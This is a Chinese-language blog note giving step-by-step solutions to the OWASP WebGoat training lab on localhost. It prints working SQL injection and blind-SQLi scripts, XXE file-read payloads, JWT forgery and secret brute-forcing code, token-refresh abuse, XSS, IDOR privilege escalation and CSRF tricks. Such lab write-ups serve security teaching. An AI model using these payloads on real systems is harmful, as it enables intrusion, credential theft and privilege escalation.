跳至主要内容

[IS] WebGoat 參考解答 Solution

此篇筆記除自己實作外,另外也參考:

本篇更新時間: 2019-04-29

General

HTTP Basics

Q2

輸入你的名字即可:

imgur

Q3

在 HTML 中可以找到此頁使用的 HTTP method 和 magic number:

imgur

HTTP Proxies

Q6

使用 OWASP 開啟 Chrome 瀏覽器後(設定方式請參考[WebGoat 學習筆記](/Users/pjchen/Projects/Notes/source/_posts/Internet-MIS-IS/[IS] WebGoat 學習筆記.md)),按下送出攔截從 HTTP 送出的請求,然後進行竄改:

imgur

操作影片:

<iframe width="570" height="315" src="https://www.youtube.com/embed/-9XgCSZZrdw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Injection Flaws

SQL Injection

Q7

輸入 1' OR '1' = '1 即可:

imgur

Q8

輸入 101 OR true 即可:

imgur

SQL Injection (Advanced)

Q3-1

輸入 ' or 1=1 — 即可:

imgur

Q3-2

使用 union 把他和另一個 table 的資料合併出來顯示。

在 name 的 input 中輸入:

' UNION SELECT userid, user_name, password, 'number', 'type', cookie, 0  FROM user_system_data --

即可看到 dave 的密碼

imgur

Q5 未解

SQL Injection (mitigation)

Q8

點選「排序」按鈕時,在 Network panel 會發現向後端打了一道 API

http://localhost:8080/WebGoat/SqlInjection/servers?column=ip

ip 的地方會帶到後端 SQL 中的 ORDER BY,我們可以透過 ORDER BY 的順序來猜測 IP:

  • substring(ip,1,1) 指的是 ip 欄位的從第一位數開始取一位的值
  • 如果猜中了該 ip 的數字,則會以 id 排序,否則會以 ip 排序
// 檢查第一碼的 ip 是否等於 1
fetch(`http://localhost:8080/WebGoat/SqlInjection/servers
?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${1}) then id else ip end)`)
.then((response) => response.json())
.then((result) => console.log(`result - ${1}`, result));

可以使用迴圈的方式一次測試出某一位數的 IP 值:

// 以下程式會檢查 ip 的第一碼多少
Array.from({ length: 10 }, (_, k) => k).forEach((item) => {
fetch(
`http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${item}) then id else ip end)`,
)
.then((response) => response.json())
.then((result) => console.log(`result - ${item}`, result));
});

參考影片

<iframe width="ˊ629" height="315" src="https://www.youtube.com/embed/iaadW6OoP9U" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

XXE

Q3

利用 OWASP 攔截送出的請求,並改成:

<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>

imgur

Q4

一樣利用 OWASP 攔截送出的請求,先將 Content-Type 改成 application/xml,在 body 的部分一樣改成:

<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>

即可:

imgur

Q7(未解)

Authentication Flaws

Authentication Bypasses

Q2

一樣透過 OWASP 攔截送出去的請求,並修改 secQuestion0secQuestion1 的欄位名稱:

imgur

JWT Token

Q4

利用 OWASP 攔截伺服器回來的回應,並將 access_token 中:

  • HEADER 改成 {"alg": "none"}
  • PAYLOAD 中的 admin 改成 true
  • signature 的部分拿掉
<iframe width="560" height="315" src="https://www.youtube.com/embed/u8PLKwl4xbw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Q5

利用 Hint 中提供的 google 10000 個英文單字 進行暴力破解(brute-force attack),在這裡我們使用 JS 搭配套件 jsonwebtoken 進行暴力破解:

const commonWords = require('./google-10000-english.json');
const jwt = require('jsonwebtoken');
const token =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM';

// 如果 secret 正確則會直接透過 console.log 顯示,否則進入 catch 不做事
commonWords.forEach((word) => {
try {
var decoded = jwt.verify(token, word);
console.log('valid secret: ', word);
} catch (error) {
// console.log('invalid', word);
}
});

結果顯示 JWT 的 secret key 為 victory

imgur

取得 secret key 後,把原本的 JWT Token 貼到 jwt.io 後可以看到 payload,將 username 改成 WebGoat 後複製新的 Token 使用即可:

imgur

Q7

在 WebGoat 的程式原始碼中,可以看到有一組寫死的帳號密碼在內:

imgur

可以直接在 WebGoat 的 Github 專案內搜尋 JWT/refresh 即可找到該檔案。

{
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4'
}

接著利用這組帳號密碼去執行登入:

// 取得 Jerry 的 refresh_token
fetch('http://localhost:8080/WebGoat/JWT/refresh/login', {
headers: {
'Content-Type': 'application/json; charset=UTF-8',
},
body: JSON.stringify({
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4',
}),
method: 'POST',
})
.then((response) => response.json())
.then((result) => console.log('result', result));

伺服器會回應一組帶有 access_tokenrefresh_token 的物件:

{
"access_token": "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
"refresh_token": "BByHeYWGAPOzYpZAEmcm"
}

在 Logfile 中會看到一組 Tom 過期的 Token:

imgur

現在有 Tom 的 access_token 和 Jerry 的 refresh_token 後,Hint 中有提供 refresh token 的 endpoint 'jwt/refresh/newToken',因此可以使用它來更新 Tom 的 access_token:

// 使用 Tom 的 access_token 和 Jerry 的 refresh_token 來更新 Tom 的 access_token
fetch('http://localhost:8080/WebGoat/JWT/refresh/newToken', {
headers: {
'Content-Type': 'application/json; charset=UTF-8',
// Tom 的 access_token
Authorization:
'Bearer eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q',
},
body: JSON.stringify({
// Jerry 的 refresh_token
refresh_token: 'BByHeYWGAPOzYpZAEmcm',
}),
method: 'POST',
})
.then((response) => response.json())
.then((result) => console.log('result', result));

送出請求後即可得到 Tom 新的 access_tokenrefresh_token

// Tom 新的 access_token 和 refresh_token
{
"access_token": "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg",
"refresh_token": "XYPYvWGFJQbGPvPMPXfZ"
}

接著利用 OWASP 在送出 checkout 的請求時,在 request headers 中加入 Tom 的 access_token:

imgur

即可完成。

Q8 未解

Password reset(未解)

Cross-Site Scripting(XSS)

參考:OWASP WEBGOAT XSS LESSONS @ klarsen.net

Cross Site Scripting

Q2

直接在網址列輸入 javascript:alert(document.cookie); 即可:

imgur

如果用複製貼上的話,瀏覽器可能會自動把 javascript: 的文字給過濾掉,需要自己補上。

答案是 Yes

Q7

在 credit card number 的欄位內貼上 <script>alert('my javascript here')</script> 後按下送出即可:

imgur

Q10

GoatRouter.js 這支檔案中可以看到原始碼,裡面可以看到定義好的路由:

// src/main/resources/static/js/goatApp/view/GoatRouter.js
routes: {
'welcome': 'welcomeRoute',
'lesson/:name': 'lessonRoute',
'lesson/:name/:pageNum': 'lessonPageRoute',
'test/:param': 'testRoute',
'reportCard': 'reportCard'
},

其中可以讓我們帶入參數的路由包含 lesson/:name, lesson/:name/:pageNum, test/:param,往下看到 testRouter 的地方可以看到它會把傳入的參數放到 lessonController.testHandler 中:

// src/main/resources/static/js/goatApp/view/GoatRouter.js
testRoute: function (param) {
this.lessonController.testHandler(param);
//this.menuController.updateMenu(name);
},

於是切換到 LessonController.js 這支檔案,搜尋 testHandler,可以看到傳入的參數會再被丟到 lessonContentView

// src/main/resources/static/js/goatApp/controller/LessonController.js
this.testHandler = function (param) {
console.log('test handler');
this.lessonContentView.showTestParam(param);
};

因此可以在切換到 LessonContentView.js 這隻檔案,搜尋 showTestParam 可以看到:

// src/main/resources/static/js/goatApp/view/LessonContentView.js
/* for testing */
showTestParam: function (param) {
this.$el.find('.lesson-content').html('test:' + param);
}

從這裡可以看到它會把所有從 url 中取得的 param 利用 $().html() 的方式在網頁中「顯示/執行」。

答案:start.mvc#test/

Q11

承 Q10,在網址的地方輸入 http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<%2Fscript>,即可在 console 視窗中看到答案。

留意在 </script> 中的 / 記得要用 encodeURI 先處理過。

Q13

在新增留言的地方輸入:

<script>
webgoat.customjs.phoneHome();
</script>

即可在 console 面版中看到答案。

Access Control Flow

Insecure Direct Object References

Q2

照著指示,user 輸入 TOM,pass 輸入 red 即可。

Q3

按下 View Profile 的按鈕,並在 Network Panel 中看得到的回應,即可看到有差別的地方:

imgur

答案輸入:role,userId

Q4

從上一題得到的訊息中,可以看到 userId

{
"role": 3,
"color": "yellow",
"size": "small",
"name": "Tom Cat",
"userId": "2342384"
}

因此在答案中填入 WebGoat/IDOR/profile/2342384 即可。

Q5

從網址列中試試看可以看到哪個使用者的資料,從原本 Tom 的 userId 往後加,會發現 userId 為 24288 是有用的:

http://localhost:8080/WebGoat/IDOR/profile/2342388

可以從中看到使用者 Buffalo Bill 的資訊:

{
role: 3,
color: 'brown',
size: 'large',
name: 'Buffalo Bill',
userId: 2342388
}
  1. 由 RestFul API 的架構可知,如果要更新使用者資料,需要使用 PUT 方法;
  2. 此外,需要修改 role 內容的值,從 3 改成 1,給該使用者更高的權限

如此可以這樣發出請求來修改使用者的資料:

fetch('http://localhost:8080/WebGoat/IDOR/profile/2342388', {
method: 'PUT',
headers: {
'content-type': 'application/json; charset=UTF-8',
},
body: JSON.stringify({
color: 'red',
role: 1,
size: 'large',
name: 'Buffalo Bill',
userId: 2342388,
}),
}).then((response) => response.json());

Missing Function Level Access Control

Q2

從開發者工具的 Elements Panel 中可以看到有隱藏的元素 .hidden-menu-item

imgur

仔細打開來看,會看到在 Admin 的 menu-header 中又藏了 UsersConfig

imgur

答案即是 UsersConfig

Q3

從上一題中可以拿到檢視 Users 的連結是 /users,若直接將網址貼在網址列中,可以看到回傳目前有一個使用者的畫面。在提示(Hint)中告訴我們可以使用不同的 Content-Type 來試著打打看這道路由,於是:

fetch('http://localhost:8080/WebGoat/users/', {
headers: {
'content-type': 'application/json; charset=UTF-8',
},
}).then((response) => response.json());

如此,便會回傳 userHash 回來:

{
username: "foobar",
admin: false,
userHash: "geBkYlCYL/bnMdYLiEhtzVQ9nGFm/5EK8X/JyHE2+FA="
}

Insecure Communication

Insecure Login

Q2

當按下畫面上的 login 時,從 network panel 可以看到送出了 usernamepassword 這兩個欄位:

imgur

把這兩個欄位填入下面的 input 中送出即可。

Insecure Deserialization(未解)

Request Forgeries

Cross-site Request Forgeries

Q3

按下「提交」後,會另外開啟一個網頁:

imgur

將網址中的 csrf 改成 true 即可:

http://localhost:8080/WebGoat/csrf/basic-get-flag?csrf=true&submit=%E6%8F%90%E4%BA%A4

Q4

利用 OWASP 攔截請求,修改 OriginReferrer 假裝是不同來源的即可:

imgur

Q7

先根據說明填寫表單:

imgur

接著利用 OWASP 攔截送出的請求,將 OriginReferrer 修改成其他來源,然後 Content-Type 根據提示改成 text/plain 後再送出:

imgur

成功後即可拿到 flag 貼上即可:

Congratulations you have found the correct solution, the flag is: c5c27a69-91e5-46dd-aff9-dcaf909adb0d

Q8

另外一開個新視窗,建立一組新帳號,帳號名稱前綴多 csrf-,進入題目頁,按下送出。

Vulnerable Components(未解)

Client Side

Bypass front-end restrictions

Q2

利用開發者工具的 element panel 做如下修改:

<!-- select: 修改 value 的值 -->
<select name="select">
<option value="option3">Option 1</option>
<option value="option2">Option 2</option>
</select>

<!-- radio: 修改 value 的值 -->
<input type="radio" name="radio" value="option3" checked="checked" />

<!-- checkbox: 新增 value -->
<input type="checkbox" name="checkbox" checked="checked" value="foo" />

<!-- input: 修改 maxlength -->
<input type="text" value="12345678" name="shortInput" maxlength="10" />

按下送出即可。

Q3

從 Elements panel 中可以看到,送出表單時會透過 validate() 這個方法進行表單驗證,如果驗證成功則回傳 true

imgur

從 console panel 該寫 validate() 這個方法,改成不管怎麼樣都回傳 true:

// 在 console panel 中輸入
validate = () => true;

接著在表單中填入不符合規則的內容,按下送出。

Client side filtering

Q2

直接在 Elements Panel 中搜尋關鍵字 Neville 就可以找到隱藏的資料,salary 即為 450000

imgur

Q3

進到 WebGoat 的 github 專案搜尋 checkoutCode,找到檔案 /src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java

這隻檔案中會標註特殊折扣碼是什麼:

imgur

將此特殊折扣碼 get_it_for_free 貼上即可完成。

HTML tampering

Q2

在 Elements Panel 中搜尋 input,找到對應 Total 的欄位,將價格改成你想要的價格後送出即可:

imgur

Challenges(未解)